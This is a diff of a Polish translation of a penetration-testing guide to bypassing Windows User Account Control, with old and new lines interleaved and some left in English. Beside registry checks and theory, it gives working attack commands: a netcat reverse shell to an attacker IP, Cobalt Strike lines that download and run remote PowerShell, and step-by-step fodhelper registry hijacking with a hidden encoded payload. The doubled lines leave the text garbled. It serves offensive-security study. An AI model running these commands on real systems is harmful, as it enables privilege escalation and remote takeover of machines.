| [Kontrola Konta Użytkownika: Wirtualizuj błędy zapisu plików i rejestru do lokalizacji per-user](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Włączone |
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled |
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled |
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop |
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) |
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled |
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled |
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled |
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled |
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled |
### Teoria Ominięcia UAC
### UAC Bypass Theory
Niektóre programy są **automatycznie podwyższane**, jeśli **użytkownik należy** do **grupy administratorów**. Te binaria mają w swoich _**Manifeście**_ opcję _**autoElevate**_ z wartością _**True**_. Binarne musi być również **podpisane przez Microsoft**.
Niektóre programy są **autoelevated automatically**, jeśli **użytkownik należy** do **grupy administratorów**. Te binaria mają w swoich _**Manifests**_ opcję _**autoElevate**_ ustawioną na _**True**_. Binarium musi być też **podpisane przez Microsoft**.
Wiele procesów auto-elevate udostępnia **funkcjonalność za pośrednictwem obiektów COM lub serwerów RPC**, które mogą być wywoływane z procesów działających z medium integralności (uprawnienia na poziomie zwykłego użytkownika). Należy zauważyć, że COM (Model Obiektów Komponentowych) i RPC (Zdalne Wywołanie Procedury) to metody, które programy Windows używają do komunikacji i wykonywania funkcji w różnych procesach. Na przykład, **`IFileOperation COM object`** jest zaprojektowany do obsługi operacji plikowych (kopiowanie, usuwanie, przenoszenie) i może automatycznie podwyższać uprawnienia bez komunikatu.
Wiele procesów auto-elevate udostępnia **funkcjonalność przez obiekty COM lub serwery RPC**, które można wywołać z procesów działających z medium integrity (z uprawnieniami zwykłego użytkownika). Zauważ, że COM (Component Object Model) i RPC (Remote Procedure Call) to metody, których programy Windows używają do komunikacji i wykonywania funkcji między różnymi procesami. Na przykład **`IFileOperation COM object`** jest zaprojektowany do obsługi operacji na plikach (kopiowanie, usuwanie, przenoszenie) i może automatycznie podnosić uprawnienia bez wyświetlania monitu.
Należy zauważyć, że mogą być przeprowadzane pewne kontrole, takie jak sprawdzanie, czy proces został uruchomiony z **katalogu System32**, co można obejść, na przykład **wstrzykując do explorer.exe** lub innego wykonywalnego znajdującego się w System32.
Należy pamiętać, że mogą być wykonywane pewne kontrole, np. sprawdzanie, czy proces został uruchomiony z katalogu **System32**, co można obejść na przykład przez **wstrzyknięcie do explorer.exe** lub innego wykonywalnego pliku znajdującego się w System32.
Innym sposobem na ominięcie tych kontroli jest **modyfikacja PEB**. Każdy proces w Windows ma Blok Środowiska Procesu (PEB), który zawiera ważne dane o procesie, takie jak jego ścieżka wykonywalna. Modyfikując PEB, atakujący mogą sfałszować (oszukać) lokalizację swojego złośliwego procesu, sprawiając, że wydaje się, że działa z zaufanego katalogu (takiego jak system32). Te sfałszowane informacje oszukują obiekt COM, aby automatycznie podwyższyć uprawnienia bez pytania użytkownika.
Innym sposobem obejścia tych kontroli jest modyfikacja PEB. Każdy proces w Windows ma Process Environment Block (PEB), który zawiera ważne dane o procesie, takie jak ścieżka do wykonywalnego pliku. Poprzez modyfikację PEB, atakujący mogą sfałszować (spoofować) lokalizację swojego złośliwego procesu, sprawiając, że będzie wyglądał, jakby działał z zaufanego katalogu (np. system32). Te sfałszowane informacje oszukują obiekt COM, aby auto-elevował uprawnienia bez wyświetlania monitu.
Następnie, aby **ominąć** **UAC** (podwyższyć z **poziomu** integralności **medium** do **wysokiego**), niektórzy atakujący używają tego rodzaju binariów do **wykonywania dowolnego kodu**, ponieważ będzie on wykonywany z **procesu o wysokim poziomie integralności**.
Następnie, aby **obejść** **UAC** (podnieść z poziomu **medium** integrity do **high**), niektórzy atakujący używają tego typu binariów do **wykonywania dowolnego kodu**, ponieważ zostanie on uruchomiony z procesu o **wysokim poziomie integrity**.
Możesz **sprawdzić** _**Manifest**_ binarnego za pomocą narzędzia _**sigcheck.exe**_ z Sysinternals. (`sigcheck.exe -m <file>`) A możesz **zobaczyć** **poziom integralności** procesów za pomocą _Process Explorer_ lub _Process Monitor_ (z Sysinternals).
Możesz **sprawdzić** _**Manifest**_ binarium używając narzędzia _**sigcheck.exe**_ z Sysinternals. (`sigcheck.exe -m <file>`) I możesz **zobaczyć** **integrity level** procesów używając _Process Explorer_ lub _Process Monitor_ (z Sysinternals).
### Sprawdź UAC
### Check UAC
Aby potwierdzić, czy UAC jest włączone, wykonaj:
```
@ -52,67 +53,67 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
```
Jeśli to jest **`1`**, to UAC jest **aktywowany**, jeśli to jest **`0`** lub **nie istnieje**, to UAC jest **nieaktywny**.
Jeśli to **`1`**, to UAC jest **włączone**, jeśli to **`0`** lub nie istnieje, to UAC jest **wyłączone**.
Następnie sprawdź **jaki poziom** jest skonfigurowany:
Następnie sprawdź, **jaki poziom** jest skonfigurowany:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
- Jeśli **`0`**, to UAC nie wyświetli monitów (jak **wyłączone**)
- Jeśli **`1`**, administrator jest **proszony o nazwę użytkownika i hasło** do wykonania binarnego z wysokimi uprawnieniami (na Secure Desktop)
- Jeśli **`2`** (**Zawsze powiadamiaj mnie**) UAC zawsze poprosi o potwierdzenie administratora, gdy spróbuje wykonać coś z wysokimi uprawnieniami (na Secure Desktop)
- Jeśli **`3`**, jak `1`, ale niekoniecznie na Secure Desktop
- Jeśli **`4`**, jak `2`, ale niekoniecznie na Secure Desktop
- Jeśli **`5`**(**domyślnie**), poprosi administratora o potwierdzenie uruchomienia binarnych nie-Windows z wysokimi uprawnieniami
- If **`0`** then, UAC won't prompt (like **disabled**)
- If **`1`** the administrator is **asked for username and password** to execute the binary with high rights (on Secure Desktop)
- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
- If **`3`** like `1` but not necessary on Secure Desktop
- If **`4`** like `2` but not necessary on Secure Desktop
- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
Następnie musisz spojrzeć na wartość **`LocalAccountTokenFilterPolicy`**\
Jeśli wartość to **`0`**, to tylko użytkownik **RID 500** (**wbudowany Administrator**) może wykonywać **zadania administracyjne bez UAC**, a jeśli to `1`, **wszystkie konta w grupie "Administratorzy"** mogą to robić.
Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
I na koniec spójrz na wartość klucza **`FilterAdministratorToken`**\
Jeśli **`0`**(domyślnie), **wbudowane konto Administratora może** wykonywać zadania zdalnej administracji, a jeśli **`1`**, wbudowane konto Administratora **nie może** wykonywać zadań zdalnej administracji, chyba że `LocalAccountTokenFilterPolicy` jest ustawione na `1`.
And, finally take a look at the value of the key **`FilterAdministratorToken`**\
If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`.
#### Podsumowanie
#### Summary
- Jeśli `EnableLUA=0` lub **nie istnieje**, **brak UAC dla nikogo**
- Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=1`, brak UAC dla nikogo**
- Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=0`, brak UAC dla RID 500 (Wbudowany Administrator)**
- Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=1`, UAC dla wszystkich**
- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
Wszystkie te informacje można zebrać za pomocą modułu **metasploit**: `post/windows/gather/win_privs`
All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
Możesz również sprawdzić grupy swojego użytkownika i uzyskać poziom integralności:
You can also check the groups of your user and get the integrity level:
```
net user %username%
whoami /groups | findstr Level
```
## UAC bypass
## Ominięcie UAC
> [!TIP]
> Zauważ, że jeśli masz dostęp graficzny do ofiary, obejście UAC jest proste, ponieważ możesz po prostu kliknąć "Tak", gdy pojawi się monit UAC.
> Należy pamiętać, że jeśli masz dostęp graficzny do ofiary, ominięcie UAC jest proste — możesz po prostu kliknąć "Yes", gdy pojawi się monit UAC
Obejście UAC jest potrzebne w następującej sytuacji: **UAC jest aktywowane, twój proces działa w kontekście średniej integralności, a twój użytkownik należy do grupy administratorów**.
Ominięcie UAC jest potrzebne w następującej sytuacji: **UAC jest włączony, Twój proces działa w kontekście o średnim poziomie integralności, a Twój użytkownik należy do grupy administratorów**.
Ważne jest, aby wspomnieć, że **znacznie trudniej jest obejść UAC, jeśli jest na najwyższym poziomie bezpieczeństwa (Zawsze) niż jeśli jest na którymkolwiek z innych poziomów (Domyślny).**
Ważne jest, aby wspomnieć, że **zdecydowanie trudniej jest ominąć UAC, gdy jest ustawiony na najwyższy poziom zabezpieczeń (Always), niż gdy jest w którymkolwiek z pozostałych poziomów (Default).**
### UAC disabled
### UAC wyłączony
Jeśli UAC jest już wyłączone (`ConsentPromptBehaviorAdmin` to **`0`**), możesz **wykonać odwrotną powłokę z uprawnieniami administratora** (wysoki poziom integralności) używając czegoś takiego:
Jeśli UAC jest już wyłączony (`ConsentPromptBehaviorAdmin` ma wartość **`0`**) możesz **uruchomić reverse shell z uprawnieniami administratora** (wysoki poziom integralności) używając czegoś takiego:
```bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
```
#### UAC bypass z duplikacją tokenów
#### UAC bypass with token duplication
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
### **Bardzo** podstawowy "bypass" UAC (pełny dostęp do systemu plików)
### **Bardzo** podstawowy UAC "bypass" (pełny dostęp do systemu plików)
Jeśli masz powłokę z użytkownikiem, który jest w grupie Administratorzy, możesz **zamontować C$** udostępnione przez SMB (system plików) lokalnie na nowym dysku i będziesz miał **dostęp do wszystkiego w systemie plików** (nawet do folderu domowego Administratora).
Jeśli masz shell z użytkownikiem należącym do grupy Administrators, możesz **zamontować udział C$** przez SMB (system plików) lokalnie jako nowy dysk i będziesz mieć **dostęp do całego systemu plików** (nawet do folderu domowego Administratora).
> [!WARNING]
> **Wygląda na to, że ten trik już nie działa**
@ -123,9 +124,9 @@ cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
```
### UAC bypass z Cobalt Strike
### UAC bypass with cobalt strike
Techniki Cobalt Strike będą działać tylko wtedy, gdy UAC nie jest ustawiony na maksymalny poziom bezpieczeństwa.
Techniki Cobalt Strike będą działać tylko wtedy, gdy UAC nie jest ustawiony na maksymalny poziom zabezpieczeń.
```bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
@ -137,18 +138,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
```
**Empire** i **Metasploit** mają również kilka modułów do **obejścia** **UAC**.
**Empire** i **Metasploit** mają również kilka modułów umożliwiających **bypass** **UAC**.
### KRBUACBypass
Dokumentacja i narzędzie w [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
Dokumentacja i narzędzie: [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
### Eksploity obejścia UAC
### UAC bypass exploits
[**UACME** ](https://github.com/hfiref0x/UACME), który jest **kompilacją** kilku eksploity do obejścia UAC. Zauważ, że będziesz musiał **skompilować UACME używając visual studio lub msbuild**. Kompilacja stworzy kilka plików wykonywalnych (jak `Source\Akagi\outout\x64\Debug\Akagi.exe`), będziesz musiał wiedzieć **który potrzebujesz.**\
Powinieneś **być ostrożny**, ponieważ niektóre obejścia mogą **wywołać inne programy**, które **powiadomią** **użytkownika**, że coś się dzieje.
[**UACME** ](https://github.com/hfiref0x/UACME) który jest **kompilacją** kilku UAC bypass exploits. Zauważ, że będziesz musiał **skompilować UACME używając visual studio lub msbuild**. Proces kompilacji utworzy kilka plików wykonywalnych (np. `Source\Akagi\outout\x64\Debug\Akagi.exe`), będziesz musiał wiedzieć **który z nich potrzebujesz.**\
Powinieneś **zachować ostrożność**, ponieważ niektóre bypasses wyświetlą **monity w innych programach**, które **powiadomią** **użytkownika**, że coś się dzieje.
UACME ma **wersję kompilacji, od której każda technika zaczęła działać**. Możesz wyszukiwać technikę wpływającą na twoje wersje:
UACME zawiera **numer kompilacji, od którego każda technika zaczęła działać**. Możesz wyszukać technikę wpływającą na Twoje wersje:
```
PS C:\> [environment]::OSVersion.Version
@ -156,41 +157,79 @@ Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
```
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
Dodatkowo, korzystając z [this](https://en.wikipedia.org/wiki/Windows_10_version_history) strony, otrzymasz wydanie Windows `1607` na podstawie numerów kompilacji.
#### Więcej obejść UAC
### UAC Bypass – fodhelper.exe (Registry hijack)
**Wszystkie** techniki używane tutaj do obejścia AUC **wymagają** **pełnego interaktywnego powłoki** z ofiarą (zwykła powłoka nc.exe nie wystarczy).
Zaufany plik wykonywalny `fodhelper.exe` jest automatycznie podnoszony (auto-elevated) we współczesnych Windows. Po uruchomieniu odpyta poniższą ścieżkę rejestru dla użytkownika bez walidacji wartości `DelegateExecute`. Umieszczenie tam polecenia pozwala procesowi o Medium Integrity (użytkownik należy do grupy Administrators) uruchomić proces o High Integrity bez monitu UAC.
Możesz uzyskać dostęp za pomocą sesji **meterpreter**. Przenieś się do **procesu**, który ma wartość **Session** równą **1**:
Registry path queried by fodhelper:
```
HKCU\Software\Classes\ms-settings\Shell\Open\command
```
Kroki PowerShell (ustaw swój payload, następnie uruchom):
```powershell
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
# 1) Create the vulnerable key and values
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
# 2) Set default command to your payload (example: reverse shell or cmd)
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
# 3) Trigger auto-elevation
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
# 4) (Recommended) Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
```
Notatki:
- Działa, gdy bieżący użytkownik jest członkiem Administrators i poziom UAC jest domyślny/łagodny (nie Always Notify z dodatkowymi ograniczeniami).
- Użyj ścieżki `sysnative`, aby uruchomić 64-bitowy PowerShell z 32-bitowego procesu na 64-bitowym Windows.
- Payload może być dowolnym poleceniem (PowerShell, cmd lub ścieżka do EXE). Unikaj wywoływania UI wymagających potwierdzenia, aby zachować stealth.
#### More UAC bypass
**Wszystkie** techniki użyte tutaj do obejścia AUC **wymagają** **pełnej interaktywnej powłoki** z ofiarą (zwykła powłoka nc.exe nie wystarczy).
Możesz to uzyskać, używając sesji **meterpreter**. Zmigruj do **process**, który ma wartość **Session** równą **1**:
![](<../../images/image (863).png>)
(_explorer.exe_ powinien działać)
### Obejście UAC z GUI
### UAC Bypass with GUI
Jeśli masz dostęp do **GUI, możesz po prostu zaakceptować monit UAC**, gdy go otrzymasz, naprawdę nie potrzebujesz go omijać. Tak więc, uzyskanie dostępu do GUI pozwoli ci obejść UAC.
Jeśli masz dostęp do **GUI**, możesz po prostu zaakceptować monit UAC, gdy się pojawi — w zasadzie nie potrzebujesz bypassu. Uzyskanie dostępu do GUI pozwoli ci obejść UAC.
Ponadto, jeśli uzyskasz sesję GUI, z której ktoś korzystał (potencjalnie przez RDP), istnieją **niektóre narzędzia, które będą działać jako administrator**, z których możesz **uruchomić** na przykład **cmd** bezpośrednio **jako administrator** bez ponownego wywoływania monitu UAC, jak [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Może to być nieco bardziej **ukryte**.
Co więcej, jeśli uzyskasz sesję GUI, z której ktoś korzystał (potencjalnie przez RDP), istnieją **narzędzia uruchamiane jako administrator**, z których możesz na przykład **uruchomić** **cmd** **jako admin** bez ponownego wyświetlania monitu UAC, np. [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). To może być trochę bardziej **stealthy**.
### Hałaśliwe obejście UAC przez brute-force
### Noisy brute-force UAC bypass
Jeśli nie zależy ci na hałasie, zawsze możesz **uruchomić coś takiego jak** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin), które **prosi o podniesienie uprawnień, aż użytkownik to zaakceptuje**.
Jeśli nie zależy ci na dyskrecji, możesz zawsze **uruchomić coś w stylu** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin), co będzie **prosić o podniesienie uprawnień aż użytkownik zaakceptuje**.
### Twoje własne obejście - Podstawowa metodologia obejścia UAC
### Your own bypass - Basic UAC bypass methodology
Jeśli spojrzysz na **UACME**, zauważysz, że **większość obejść UAC nadużywa podatności Dll Hijacking** (głównie pisząc złośliwy dll w _C:\Windows\System32_). [Przeczytaj to, aby dowiedzieć się, jak znaleźć podatność Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
Jeśli spojrzysz na **UACME**, zauważysz, że **większość bypassów UAC wykorzystuje podatność typu Dll Hijacking** (głównie zapisując złośliwą dll w _C:\Windows\System32_). [Przeczytaj to, aby nauczyć się, jak znaleźć podatność Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
1. Znajdź binarny, który będzie **autoelevate** (sprawdź, czy po jego uruchomieniu działa na wysokim poziomie integralności).
2. Za pomocą procmon znajdź zdarzenia "**NAME NOT FOUND**", które mogą być podatne na **DLL Hijacking**.
3. Prawdopodobnie będziesz musiał **napisać** DLL wewnątrz niektórych **chronionych ścieżek** (takich jak C:\Windows\System32), gdzie nie masz uprawnień do zapisu. Możesz to obejść, używając:
1. **wusa.exe**: Windows 7, 8 i 8.1. Umożliwia to wyodrębnienie zawartości pliku CAB wewnątrz chronionych ścieżek (ponieważ to narzędzie jest uruchamiane z wysokiego poziomu integralności).
2. **IFileOperation**: Windows 10.
4. Przygotuj **skrypt** do skopiowania swojego DLL do chronionej ścieżki i uruchomienia podatnego i autoelevated binarnego.
1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level).
2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**.
3. You probably will need to **write** the DLL inside some **protected paths** (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using:
1. **wusa.exe**: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level).
2. **IFileOperation**: Windows 10.
4. Prepare a **script** to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.
### Inna technika obejścia UAC
### Another UAC bypass technique
Polega na obserwowaniu, czy **autoElevated binary** próbuje **odczytać** z **rejestru** **nazwę/ścieżkę** **binarnego** lub **komendy** do **wykonania** (to jest bardziej interesujące, jeśli binarny szuka tych informacji wewnątrz **HKCU**).
Polega na obserwowaniu, czy **autoElevated binary** próbuje **odczytać** z **rejestru** nazwę/ścieżkę **binarki** lub **polecenia** do **uruchomienia** (to jest bardziej interesujące, jeśli binarka szuka tych informacji w **HKCU**).
## References
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME)
{{#include ../../banners/hacktricks-training.md}}